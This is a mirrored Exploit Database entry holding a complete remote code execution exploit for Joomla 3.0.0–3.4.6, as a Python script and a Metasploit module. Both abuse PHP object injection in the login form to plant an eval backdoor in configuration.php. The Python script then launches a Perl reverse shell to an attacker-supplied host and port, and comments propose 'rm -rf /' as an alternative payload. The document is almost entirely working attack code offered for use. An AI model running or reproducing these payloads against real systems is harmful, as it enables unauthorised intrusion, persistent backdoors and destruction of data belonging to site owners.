Joomla! 3.4.6 – Remote Code Execution

• Exploit Database
• 32 阅读

• 作者： Alessandro Groppo
  日期： 2019-10-18
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47524/

• # Exploit Title: Joomla! 3.4.6 - Remote Code Execution
  # Google Dork: N/A
  # Date: 2019-10-02
  # Exploit Author: Alessandro Groppo
  # Vendor Homepage: https//www.joomla.it/
  # Software Link: https://downloads.joomla.org/it/cms/joomla3/3-4-6
  # Version: 3.0.0 --> 3.4.6
  # Tested on: Linux
  # CVE : N/A
  
  
  # Technical details: https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41
  # Github: https://github.com/kiks7/rusty_joomla_rce
  #
  # The exploitation is implanting a backdoor in /configuration.php file in the root directory with an eval in order to be more suitable for all environments, but it is also more intrusive.
  # If you don't like this way, you can replace the get_backdoor_pay() with get_pay('php_function', 'parameter') like get_pay('system','rm -rf /')
  
  
  #!/usr/bin/env python3
  import requests
  from bs4 import BeautifulSoup
  import sys
  import string
  import random
  import argparse
  from termcolor import colored
  
  PROXS = {'http':'127.0.0.1:8080'}
  PROXS = {}
  
  def random_string(stringLength):
  	letters = string.ascii_lowercase
  	return ''.join(random.choice(letters) for i in range(stringLength))
  
  
  backdoor_param = random_string(50)
  
  def print_info(str):
  	print(colored("[*] " + str,"cyan"))
  
  def print_ok(str):
  	print(colored("[+] "+ str,"green"))
  
  def print_error(str):
  	print(colored("[-] "+ str,"red"))
  
  def print_warning(str):
  	print(colored("[!!] " + str,"yellow"))
  
  def get_token(url, cook):
  	token = ''
  	resp = requests.get(url, cookies=cook, proxies = PROXS)
  	html = BeautifulSoup(resp.text,'html.parser')
  	# csrf token is the last input
  	for v in html.find_all('input'):
  		csrf = v
  	csrf = csrf.get('name')
  	return csrf
  
  
  def get_error(url, cook):
  	resp = requests.get(url, cookies = cook, proxies = PROXS)
  	if 'Failed to decode session object' in resp.text:
  		#print(resp.text)
  		return False
  	#print(resp.text)
  	return True
  
  
  def get_cook(url):
  	resp = requests.get(url, proxies=PROXS)
  	#print(resp.cookies)
  	return resp.cookies
  
  
  def gen_pay(function, command):
  	# Generate the payload for call_user_func('FUNCTION','COMMAND')
  	template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
  	#payload =command + ' || $a=\'http://wtf\';'
  	payload ='http://l4m3rz.l337/;' + command
  	# Following payload will append an eval() at the enabled of the configuration file
  	#payload ='file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
  	function_len = len(function)
  	final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
  	return final
  
  def make_req(url , object_payload):
  	# just make a req with object
  	print_info('Getting Session Cookie ..')
  	cook = get_cook(url)
  	print_info('Getting CSRF Token ..')
  	csrf = get_token( url, cook)
  
  	user_payload = '\\0\\0\\0' * 9
  	padding = 'AAA' # It will land at this padding
  	working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
  	clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects
  
  	inj_object = '";'
  	inj_object += object_payload
  	inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
  	password_payload = padding + inj_object
  	params = {
  'username': user_payload,
  'password': password_payload,
  'option':'com_users',
  'task':'user.login',
  csrf :'1'
  }
  
  	print_info('Sending request ..')
  	resp= requests.post(url, proxies = PROXS, cookies = cook,data=params)
  	return resp.text
  
  def get_backdoor_pay():
  	# This payload will backdoor the the configuration .PHP with an eval on POST request
  
  	function = 'assert'
  	template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
  	# payload =command + ' || $a=\'http://wtf\';'
  	# Following payload will append an eval() at the enabled of the configuration file
  	payload ='file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
  	function_len = len(function)
  	final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
  	return final
  
  def check(url):
  	check_string = random_string(20)
  	target_url = url + 'index.php/component/users'
  	html = make_req(url, gen_pay('print_r',check_string))
  	if check_string in html:
  		return True
  	else:
  		return False
  
  def ping_backdoor(url,param_name):
  	res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
  	if 'PWNED' in res.text:
  		return True
  	return False
  
  def execute_backdoor(url, payload_code):
  	# Execute PHP code from the backdoor
  	res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
  	print(res.text)
  
  def exploit(url, lhost, lport):
  	# Exploit the target
  	# Default exploitation will append en eval function at the end of the configuration.pphp
  	# as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
  	# e.g. get_payload('system','rm -rf /')
  
  	# First check that the backdoor has not been already implanted
  	target_url = url + 'index.php/component/users'
  
  	make_req(target_url, get_backdoor_pay())
  	if ping_backdoor(url, backdoor_param):
  		print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
  		print_info('Now it\'s time to reverse, trying with a system + perl')
  		execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
  
  
  if __name__ == '__main__':
  	parser = argparse.ArgumentParser()
  	parser.add_argument('-t','--target',required=True,help='Joomla Target')
  	parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
  	parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
  	parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
  	parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
  	args = vars(parser.parse_args())
  
  	url = args['target']
  	if(check(url)):
  		print_ok('Vulnerable')
  		if args['exploit']:
  			exploit(url, args['lhost'], args['lport'])
  		else:
  			print_info('Use --exploit to exploit it')
  
  	else:
  		print_error('Seems NOT Vulnerable ;/')
  
  
  metasploit_rusty_joomla_rce.rb
  
  ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HTTP::Joomla
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Rusty Joomla Unauthenticated Remote Code Execution',
  'Description'=> %q{
  	PHP Object Injection because of a downsize in the read/write process with the database leads to RCE.
  	The exploit will backdoor the configuration.php file in the root directory with en eval of a POST parameter.
  	That's because the exploit is more reliabale (doesn't rely on common disabled function). 
  	For this reason, use it with caution and remember the house cleaning.
  	Btw, you can also edit this exploit and use whatever payload you want. just modify the exploit object with 
  	get_payload('you_php_function','your_parameters'), e.g. get_payload('system','rm -rf /') and enjoy
  },
  'Author'	=>
  [
  'Alessandro \'kiks\' Groppo @Hacktive Security', 
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  		['URL', 'https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41']
  ],
  'Privileged' => false, 
  'Platform' => 'PHP',
  'Arch' => ARCH_PHP,
  'Targets'=> [['Joomla 3.0.0 - 3.4.6', {}]],
  'DisclosureDate' => 'Oct 022019',
  'DefaultTarget'=> 0)
  )
  
  register_advanced_options(
  [
  OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]),
  ])
  end
  
  def get_random_string(length=50)
  	source=("a".."z").to_a + ("A".."Z").to_a + (0..9).to_a 
  	key=""
  	length.times{ key += source[rand(source.size)].to_s }
  	return key
  end
  
  def get_session_token
  	# Get session token from cookies
  	vprint_status('Getting Session Token')
  	res = send_request_cgi({
  		'method' => 'GET',
  		'uri' 	 => normalize_uri(target_uri.path) 
  	})
  	
  	cook = res.headers['Set-Cookie'].split(';')[0]
  	vprint_status('Session cookie: ' + cook)
  	return cook
  end
  
  def get_csrf_token(sess_cookie)
  	vprint_status('Getting CSRF Token')
  
  	res = send_request_cgi({
  		'method' => 'GET',
  		'uri'	 => normalize_uri(target_uri.path,'/index.php/component/users'),
  		'headers' => {
  			'Cookie' => sess_cookie,
  		}
  	})
  
  	html = res.get_html_document
  	input_field = html.at('//form').xpath('//input')[-1]
  	token = input_field.to_s.split(' ')[2]
  	token = token.gsub('name="','').gsub('"','')
  	if token then
  		vprint_status('CSRF Token: ' + token)
  		return token
  	end
  	print_error('Cannot get the CSRF Token ..')
  
  end
  
  def get_payload(function, payload)
  	# @function: The PHP Function
  	# @payload: The payload for the call
  	template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
  	# The http:// part is necessary in order to validate a condition in SimplePie::init and trigger the call_user_func with arbitrary values
  	payload = 'http://l4m3rz.l337/;' + payload
  	final = template.gsub('PAYLOAD',payload).gsub('LENGTH', payload.length.to_s).gsub('FUNC_NAME', function).gsub('FUNC_LEN', function.length.to_s)
  	return final
  end
  
   
  def get_payload_backdoor(param_name) 
  	# return the backdoor payload
  	# or better, the payload that will inject and eval function in configuration.php (in the root)
  	# As said in other part of the code. we cannot create new .php file because we cannot use 
  	# the ? character because of the check on URI schema
  	function = 'assert'
  template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}' 
  # This payload will append an eval() at the end of the configuration file
  payload ="file_put_contents('configuration.php','if(isset($_POST[\\'"+param_name+"\\'])) eval($_POST[\\'"+param_name+"\\']);', FILE_APPEND) || $a=\'http://wtf\';"
  	template['PAYLOAD']= payload 
  	template['LENGTH'] = payload.length.to_s
  	template['FUNC_NAME'] = function 
  	template['FUNC_LEN'] = function.length.to_s
  return template 
  
  end
  
  
  def check_by_exploiting
  	# Check that is vulnerable by exploiting it and try to inject a printr('something')
  	# Get the Session anb CidSRF Tokens
  	sess_token = get_session_token()
  	csrf_token = get_csrf_token(sess_token)
  
  	print_status('Testing with a POC object payload')
  
  	username_payload = '\\0\\0\\0' * 9
  	password_payload = 'AAA";'						# close the prev object
  	password_payload += get_payload('print_r','IAMSODAMNVULNERABLE')	# actual payload 
  	password_payload += 's:6:"return":s:102:' 				# close cleanly the object
  	res = send_request_cgi({
  			'uri'	 => normalize_uri(target_uri.path,'/index.php/component/users'),
  			'method' => 'POST',
  			'headers'=> 
  				{
  				'Cookie' => sess_token,
  			},
  			'vars_post' => {
  				'username' => username_payload,
  				'password' => password_payload,
  				'option' => 'com_users',
  				'task'	 => 'user.login',
  				csrf_token => '1',
  			}
  	}) 
  	# Redirect in order to retrieve the output
  	if res.redirection then
  		res_redirect = send_request_cgi({
  			'method' => 'GET',
  			'uri'	 => res.redirection.to_s,
  			'headers' =>{
  				'Cookie' => sess_token
  			}
  		})
  
  		if 'IAMSODAMNVULNERABLE'.in? res.to_s or 'IAMSODAMNVULNERABLE'.in? res_redirect.to_s then
  			return true
  		else
  			return false
  		end
  		
  	end
  end
  
  def check
  # Check if the target is UP and get the current version running by info leak
  res = send_request_cgi({'uri' => normalize_uri(target_uri.path, '/administrator/manifests/files/joomla.xml')})
  unless res
  print_error("Connection timed out")
  return Exploit::CheckCode::Unknown
  end
  
  # Parse XML to get the version 
  if res.code == 200 then
  	xml = res.get_xml_document
  	version = xml.at('version').text
  	print_status('Identified version ' + version)
  	if version <= '3.4.6' and version >= '3.0.0' then
  		if check_by_exploiting()
  			return Exploit::CheckCode::Vulnerable
  		else
  			if check_by_exploiting() then
  			# Try the POC 2 times. 
  				return Exploit::CheckCode::Vulnerable
  			else
  				return Exploit::CheckCode::Safe
  			end
  		end
  	else
  		return Exploit::CheckCode::Safe
  	end
  else
  	print_error('Cannot retrieve XML file for the Joomla Version. Try the POC in order to confirm if it\'s vulnerable')
  	if check_by_exploiting() then
  		return Exploit::CheckCode::Vulnerable
  	else
  		if check_by_exploiting() then
  			return Exploit::CheckCode::Vulnerable
  		else
  			return Exploit::CheckCode::Safe
  		end
  	end
  end
  end
  
  
  
  
  def exploit
  if check == Exploit::CheckCode::Safe && !datastore['FORCE']
  print_error('Target is not vulnerable')
  return
  end
  
  
  pwned = false
  cmd_param_name = get_random_string(50) 
  
  sess_token = get_session_token()
  csrf_token = get_csrf_token(sess_token)
  
  # In order to avoid problems with disabled functions
  # We are gonna append an eval() function at the end of the configuration.php file
  # This will not cause any problem to Joomla and is a good way to execute then PHP directly
  # cuz assert is toot annoying and with conditions that we have we cannot inject some characters
  # So we will use 'assert' with file_put_contents to append the string. then create a reverse shell with this backdoor
  # Oh i forgot, We cannot create a new file because we cannot use the '?' character in order to be interpreted by the web server.
  
  # TODO: Add the PHP payload object to inject the backdoor inside the configuration.php file
  # 		Use the implanted backdoor to receive a nice little reverse shell with a PHP payload
  
  
  # Implant the backdoor
  vprint_status('Cooking the exploit ..')
  username_payload = '\\0\\0\\0' * 9
  password_payload = 'AAA";'						# close the prev object
  password_payload += get_payload_backdoor(cmd_param_name)		# actual payload 
  password_payload += 's:6:"return":s:102:' 				# close cleanly the object
  
  print_status('Sending exploit ..')
  
  
  res = send_request_cgi({
  		'uri'	 => normalize_uri(target_uri.path,'/index.php/component/users'),
  		'method' => 'POST',
  		'headers'=> {
  			'Cookie' => sess_token
  		},
  		'vars_post' => {
  			'username' => username_payload,
  			'password' => password_payload,
  			'option' => 'com_users',
  			'task'	 => 'user.login',
  			csrf_token => '1'
  		}
  }) 
  
  print_status('Triggering the exploit ..')
  if res.redirection then
  	res_redirect = send_request_cgi({
  		'method' => 'GET',
  		'uri'	 => res.redirection.to_s,
  		'headers' =>{
  			'Cookie' => sess_token
  		}
  	})
  end
  
  # Ping the backdoor see if everything is ok :/
  res = send_request_cgi({
  		'method' => 'POST',
  		'uri'	 => normalize_uri(target_uri.path,'configuration.php'),
  		'vars_post'=> {
  			cmd_param_name=> 'echo \'PWNED\';' 
  		}
  	})
  if res.to_s.include? 'PWNED' then
  	print_status('Target P0WN3D! eval your code at /configuration.php with ' + cmd_param_name + ' in a POST')
  	pwned = true
  end
  
  
  
  if pwned then
  print_status('Now it\'s time to reverse shell')
  		res = send_request_cgi({
  		'method' => 'POST',
  		'uri'	 => normalize_uri(target_uri.path,'configuration.php'),
  		'vars_post'=> {
  			cmd_param_name=> payload.encoded 
  		}
  	})
  end
  
  end
  end